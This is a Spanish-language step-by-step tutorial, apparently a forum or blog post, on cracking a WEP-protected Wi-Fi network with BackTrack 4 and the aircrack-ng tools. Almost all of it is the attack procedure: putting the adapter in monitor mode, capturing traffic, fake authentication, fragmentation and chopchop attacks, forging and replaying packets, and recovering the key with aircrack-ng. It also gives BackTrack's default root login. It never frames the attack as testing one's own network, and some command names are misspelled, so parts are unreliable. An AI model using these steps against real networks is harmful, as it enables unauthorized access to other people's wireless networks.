Bueno, vamos empezar primero con que vamos ocupar para finalizar la tarea:

1. Backtrack 4 life CD/USB o instalación;
2. Despuesto de leer todo esto :)

Lo primero usted puede bajar aquí: http://www.backtrack-linux.org/downloads/.

El usuario y la contraseña son siguientes: root
Contraseña: toor
Escribe startx y dale un clic del botón ENTERAR para empezar en el modo graficó de BT4.

Necesitamos de tener 3 terminales abiertos y empezamos:

1. Airomon-ng stop wlan0 (Esto detiene su adaptor inalambrico)

2. Airomon-ng start wlan0 (Esto empieza el adaptor inalambrico en modo de monitoreo)

3. Airodump-ng wlan0 (Este comando se ocupa sólo para selecciónar una red con diferentes criteras, señal, canal, BSSID, ESSID. El comando se detiene presando CTRL+C)

4. Airodump-ng --channel (numero del canal) --bssid (MAC dirección de la red) -w (nombre de archivo donde vamos a guardar la información capturada) wlan0 (En fín dejalo que funciona y abre nuevo terminal)

5. Macchanger wlan0 (El comanda devuelve su MAC dirección que necesitamos más adelante)

6. Aireplay-ng -1 0 -e (ESSID el nombre de la red) -a (BSSID MAC dirección de la red) -h (Mí MAC dirección desde macchanger) wlan0 (Esperamos éxito)

7. Aireplay-ng -4 (Si no tiene éxito cambiamos con 5) -b (BSSID MAC dirección de la red) -h (Mí MAC dirección desde macchanger) wlan0 (Cuando nos pide por uso de paqute, escribimos Y y damos clic en el bóton ENTERAR)

8. Packetforge-ng -0 -a (BSSID de la red) -h (Mí MAC dirección desde macchanger) -k 255.255.255.255 -l 255.255.255.255 -y (El nombre del archivo desde paso 7 *.xor) -w (Escribe nombre de archivo para guardar y dale un clic de ENTERAR tecla)

9. Aireplay-ng -2 -r (El nombre de archivo desde Packetforge-ng) wlan0 (Espere hasta que el contador de los paquetes tiene por lo menos 25 000 paquetes)

10. Detiene paso 4 Airodump-ng con presión de CTRL+C

11. Aircrack-ng -b (BSSID MAC dirección de la red) (El nombre del archivo desde paso 4 Airodump-ng, podemos copiarlo del Escritorio *.cap y damos un clic de ENTERAR tecla)

Esperamos poco y luego obtenemos la contraseña :)